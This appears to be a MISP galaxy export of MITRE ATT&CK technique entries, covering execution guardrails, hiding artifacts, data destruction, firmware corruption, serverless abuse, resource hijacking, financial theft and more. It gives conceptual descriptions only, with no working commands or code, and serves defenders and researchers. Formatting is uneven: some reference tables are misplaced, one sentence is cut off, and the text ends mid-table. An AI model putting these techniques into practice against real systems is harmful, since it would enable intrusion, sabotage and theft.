Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary's campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location. (Citation: SWB Exodus March 2019)

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [System Checks](https://attack.mitre.org/techniques/T1633/001). While use of [System Checks](https://attack.mitre.org/techniques/T1633/001) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.

The tag is: `misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1627"`

<table>
<thead>
<tr>
<th>Table 5828. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1627">https://attack.mitre.org/techniques/T1627</a></td>
</tr>
<tr>
<td><a href="https://securitywithoutborders.org/blog/2019/03/29/exodus.html">https://securitywithoutborders.org/blog/2019/03/29/exodus.html</a></td>
</tr>
</tbody>
</table>

**Hide Artifacts - T1628**

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application's launcher icon. These APIs have legitimate usages, such as hiding an icon to avoid application drawer clutter when an application does not have a usable interface. Adversaries may abuse these features and APIs to hide artifacts from the user to evade detection.

The tag is: `misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1628"

<table>
<thead>
<tr>
<th>Table 5829. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1628">https://attack.mitre.org/techniques/T1628</a></td>
</tr>
</tbody>
</table>

**Dumpster dive - T1286**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286).

Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)
Impair Defenses - T1629

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may span both native defenses as well as supplemental capabilities installed by users or mobile endpoint administrators.

Dynamic DNS - T1333

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333).

Dynamic DNS is an automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)
Port redirector - T1363

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1363).

Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)

The tag is: `misp-galaxy:mitre-attack-pattern="Port redirector - T1363"`

### Table 5833. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1363">https://attack.mitre.org/techniques/T1363</a></td>
</tr>
</tbody>
</table>

Internal Spearphishing - T1534

Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is a multi-staged campaign where an email account is owned either by controlling the user’s device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt. (Citation: Trend Micro When Phishing Starts from the Inside 2017)

Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.

There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process. (Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users. (Citation: THE FINANCIAL TIMES LTD 2019.)

The tag is: `misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534"`

### Table 5834. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1534">https://attack.mitre.org/techniques/T1534</a></td>
</tr>
</tbody>
</table>

2794
Credential pharming - T1374

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)

The tag is: `misp-galaxy:mitre-attack-pattern="Credential pharming - T1374"`

Power Settings - T1653

Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)

Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)

For example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)

Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)

The tag is: `misp-galaxy:mitre-attack-pattern="Power Settings - T1653"`
Encrypted Channel - T1573

Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: `misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573"`

Table 5837. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1573">https://attack.mitre.org/techniques/T1573</a></td>
</tr>
<tr>
<td><a href="https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html">https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html</a></td>
</tr>
</tbody>
</table>

Acquire Infrastructure - T1583

Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. (Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.

Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services. (Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.
Dynamic Resolution - T1637

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Device Lockout - T1446

An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device's passcode. (Citation: Android resetPassword)

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device. (Citation: Xiao-KeyRaider)
The tag is: `misp-galaxy:mitre-attack-pattern="Device Lockout - T1446"`

View relationships graph

Device Lockout - T1446 has relationships with:


**Table 5840. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1446">https://attack.mitre.org/techniques/T1446</a></td>
</tr>
</tbody>
</table>

**Hide Artifacts - T1564**

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection. (Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology. (Citation: Sophos Ragnar May 2020)

The tag is: `misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564"`

**Table 5841. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564">https://attack.mitre.org/techniques/T1564</a></td>
</tr>
<tr>
<td><a href="https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf">https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf</a></td>
</tr>
</tbody>
</table>
Log Enumeration - T1654

Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).

Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information. (Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent's `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure. (Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)

Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.

The tag is: `misp-galaxy:mitre-attack-pattern="Log Enumeration - T1654"`

Table 5842. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1654">https://attack.mitre.org/techniques/T1654</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial">https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial</a></td>
</tr>
</tbody>
</table>

Compromise Infrastructure - T1584

Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. (Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.

Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566).
campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)

By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)

The tag is: **misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584"**

**Table 5843. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1584">https://attack.mitre.org/techniques/T1584</a></td>
</tr>
<tr>
<td><a href="https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/">https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/infrastructure-research-hunting/">https://threatconnect.com/blog/infrastructure-research-hunting/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.icann.org/groups/ssac/documents/sac-007-en">https://www.icann.org/groups/ssac/documents/sac-007-en</a></td>
</tr>
</tbody>
</table>

**Data Destruction - T1485**

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as `<code>del</code>` and `<code>rm</code>` often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk’s logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable. (Citation: Kaspersky StoneDrill 2017) (Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016) (Citation: Kaspersky StoneDrill 2017).

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002). (Citation: Symantec Shamoon 2012) (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016) (Citation: Kaspersky StoneDrill 2017) (Citation: Talos Olympic Destroyer 2018).

In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers. (Citation: Data Destruction - Threat Post) (Citation: DOJ - Cisco Insider).

The tag is: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"

**Table 5844. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1485">https://attack.mitre.org/techniques/T1485</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/">https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/</a></td>
</tr>
</tbody>
</table>

**Firmware Corruption - T1495**

Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system. (Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.

In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of
the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable. (Citation: dhs Threat to Net Devices) (Citation: cisA malware Orgs Ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485).

The tag is: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495"

### Table S5845. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1495">https://attack.mitre.org/techniques/T1495</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-057a">https://www.cisa.gov/uscert/ncas/alerts/aa22-057a</a></td>
</tr>
</tbody>
</table>

### Serverless Execution - T1648

Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.

Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)). (Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the IAM:PassRole permission in AWS or the iam.serviceAccounts.actAs permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot. (Citation: Rhino Security Labs AWS Privilege Escalation) (Citation: Rhingo Security Labs GCP Privilege Escalation)

Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created. (Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint. (Citation: Varonis Power Automate Data Exfiltration) (Citation: Microsoft DART Case Report 001)

The tag is: misp-galaxy:mitre-attack-pattern="Serverless Execution - T1648"

### Table S5846. Table References
Resource Hijacking - T1496

Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.

One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive. (Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. (Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster. (Citation: Unit 42 Hildegard Malware) (Citation: Trend Micro Exposed Docker APIs)

Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources. (Citation: Trend Micro War of Crypto Miners)

Adversaries may also use malware that leverages a system’s network bandwidth as part of a botnet in order to facilitate [Network Denial of Service] (https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents. (Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims’ network bandwidth and IP address to proxyware services. (Citation: Sysdig Proxyjacking)

The tag is: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496"

Table 5847. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1496">https://attack.mitre.org/techniques/T1496</a></td>
</tr>
<tr>
<td><a href="https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc">https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-under-the-hood/77908/">https://securelist.com/lazarus-under-the-hood/77908/</a></td>
</tr>
</tbody>
</table>
Service Stop - T1489

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary’s overall objectives to cause damage to the environment. (Citation: Talos Olympic Destroyer 2018) (Citation: Novetta Blockbuster)

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as `<code>MSExchangeIS</code>`, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable. (Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server. (Citation: SecureWorks WannaCry Analysis)

The tag is: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"

Table 5848. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1489">https://attack.mitre.org/techniques/T1489</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/wcry-ransomware-analysis">https://www.secureworks.com/research/wcry-ransomware-analysis</a></td>
</tr>
</tbody>
</table>

Data Manipulation - T1565

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the...
desired impact.

The tag is: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565"

Table 5849. Table References
Links
https://attack.mitre.org/techniques/T1565

**Native API - T1575**

Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.

The NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.(Citation: Google NDK Getting Started)

Adversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)

The tag is: misp-galaxy:mitre-attack-pattern="Native API - T1575"

Table 5850. Table References
Links
https://attack.mitre.org/techniques/T1575
https://developer.android.com/ndk/guides

**Establish Accounts - T1585**

Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or
Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Establish Accounts - T1585"

### Active Scanning - T1595

Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: *misp-galaxy:mitre-attack-pattern="Active Scanning - T1595"

### Table 5851. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1585">https://attack.mitre.org/techniques/T1585</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
</tbody>
</table>

### Table 5852. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1595">https://attack.mitre.org/techniques/T1595</a></td>
</tr>
</tbody>
</table>
**Financial Theft - T1657**

Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) "pig butchering."(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin)

Adversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)

Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening public exposure unless payment is made to the adversary.(Citation: Mandiant-leaks)

Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)

The tag is: `misp-galaxy:mitre-attack-pattern="Financial Theft - T1657"`

*Table 5853. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2">https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1657">https://attack.mitre.org/techniques/T1657</a></td>
</tr>
<tr>
<td><a href="https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/">https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/</a></td>
</tr>
</tbody>
</table>
Compromise Accounts - T1586

Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).

The tag is: misp-galaxy:mitre-attack-pattern="Compromise Accounts - T1586"

Table 5854. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1586">https://attack.mitre.org/techniques/T1586</a></td>
</tr>
</tbody>
</table>

Dynamic Resolution - T1568

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a
common algorithm with the infrastructure the adversary uses to receive the malware’s communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control. (Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

The tag is: `misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568"`

### Table 5855. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1568">https://attack.mitre.org/techniques/T1568</a></td>
</tr>
<tr>
